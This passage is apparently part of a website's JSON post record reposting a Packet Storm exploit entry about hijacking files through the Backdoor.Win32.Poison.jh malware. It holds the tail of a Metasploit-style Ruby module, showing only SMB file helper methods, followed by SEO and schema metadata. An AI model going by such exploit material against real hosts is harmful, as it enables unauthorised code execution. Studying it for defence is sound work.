mode)\\n        self.simple.open(path, mode)\\n      end\\n    \\n      def smb_create(path)\\n        self.simple.create(path)\\n      end\\n    \\n      def smb_rename(old_path, new_path)\\n        self.simple.rename(old_path, new_path)\\n      end\\n    end\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213313&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213313\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:37&#8243;,&#8221;description&#8221;:&#8221;This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created Backdoor.Win32.Poison.jh could be abused to achieve code execution. The scenario&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32938","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32938\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:37&#8243;,&#8221;description&#8221;:&#8221;This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created Backdoor.Win32.Poison.jh could be abused to achieve code execution. The scenario...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32938\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-26T11:45:41+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"15 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313\",\"datePublished\":\"2025-12-26T11:45:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938\"},\"wordCount\":3022,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32938#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938\",\"name\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-26T11:45:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32938\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32938#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32938","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:37&#8243;,&#8221;description&#8221;:&#8221;This code represents an educational Metasploit module concept that demonstrates how insecure file permissions created Backdoor.Win32.Poison.jh could be abused to achieve code execution. The scenario...","og_url":"https:\/\/zero.redgem.net\/?p=32938","og_site_name":"zero redgem","article_published_time":"2025-12-26T11:45:41+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32938#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32938"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313","datePublished":"2025-12-26T11:45:41+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32938"},"wordCount":3022,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32938#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32938","url":"https:\/\/zero.redgem.net\/?p=32938","name":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-26T11:45:41+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32938#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32938"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32938#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Remote File Hijack_PACKETSTORM:213313"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32938","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32938"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32938\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32938"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32938"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32938"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}